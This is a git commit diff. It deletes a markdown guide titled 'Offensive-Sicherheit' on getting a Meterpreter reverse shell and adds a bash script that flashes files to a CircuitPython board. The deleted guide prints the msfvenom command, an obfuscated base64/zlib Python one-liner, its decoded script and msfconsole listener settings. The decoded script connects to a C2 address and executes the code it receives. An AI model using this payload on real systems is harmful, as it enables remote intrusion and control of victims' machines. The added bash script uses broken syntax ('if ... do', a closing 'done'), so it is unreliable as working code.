added documentation, its now on github
This commit is contained in:
@@ -1,44 +0,0 @@
|
||||
# Offensive-Sicherheit
|
||||
|
||||
## How to get a reverse shell via MSVenom setup (local)
|
||||
|
||||
# 1. Generating the payload
|
||||
We use MSVenom to generate a payload
|
||||
```python
|
||||
msfvenom -p python/meterpreter/reverse_tcp LHOST=<LOCAL-HOST-IP> LPORT=4444 -f raw
|
||||
```
|
||||
|
||||
Which gives us a python oneliner:
|
||||
```python
|
||||
python3 -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckGENb6wqLFUQ8iIjgehORNhk1NE1CktWq+N9tyOIcZngzb9586Nm7kHB0coLEv40e+ThE2HQ8prCXiSc9A3p1AS9YWxwG+wa0qdkWVSl8rb6KfWkWJdCWH/Du/ur2Zff4cH15xzJPSGctyEQpac5a0daiqcUJ4d1qLDPGAMOEKlgk+JSl82wRDYCnpwyZvqwk9tYPcqLk4obwKALID7oKPNXPSPUHbBj6fNcGsAFLFTs3q5w6+q8elzRDsICk+WqhQLrZB4iRlgeIcdPlpILM5D8kkm38ZegPfONevg==')[0])))"
|
||||
```
|
||||
This unfolds to the following script:
|
||||
```python
|
||||
import socket,zlib,base64,struct,time
|
||||
for x in range(10):
|
||||
try:
|
||||
s=socket.socket(2,socket.SOCK_STREAM)
|
||||
s.connect(('172.20.10.3',4444))
|
||||
break
|
||||
except:
|
||||
time.sleep(5)
|
||||
l=struct.unpack('>I',s.recv(4))[0]
|
||||
d=s.recv(l)
|
||||
while len(d)<l:
|
||||
d+=s.recv(l-len(d))
|
||||
exec(zlib.decompress(base64.b64decode(d)),{'s':s})
|
||||
```
|
||||
|
||||
# 3. Setting up the listener
|
||||
On the C2 do the following to attach to a reverse shell.
|
||||
|
||||
```python
|
||||
msfconsole
|
||||
use exploit/multi/handler
|
||||
set PAYLOAD python/meterpreter/reverse_tcp
|
||||
set LHOST 172.20.10.3
|
||||
set LPORT 4444
|
||||
run
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
#!/bin/bash
|
||||
|
||||
files=(
|
||||
"code.py"
|
||||
"boot.py"
|
||||
"src"
|
||||
)
|
||||
target="/run/media/magnus/CIRCUITPY/"
|
||||
|
||||
# Flash
|
||||
if [ -d "${target}" ]; do
|
||||
for file in "${files[@]}"; do
|
||||
echo $file
|
||||
|
||||
# delete old version
|
||||
rm "${target}${file}" -r
|
||||
|
||||
# copy new version over
|
||||
cp "./${file}" "${target}" -r
|
||||
done
|
||||
else
|
||||
echo "Board not mounted!"
|
||||
done
|
||||
Reference in New Issue
Block a user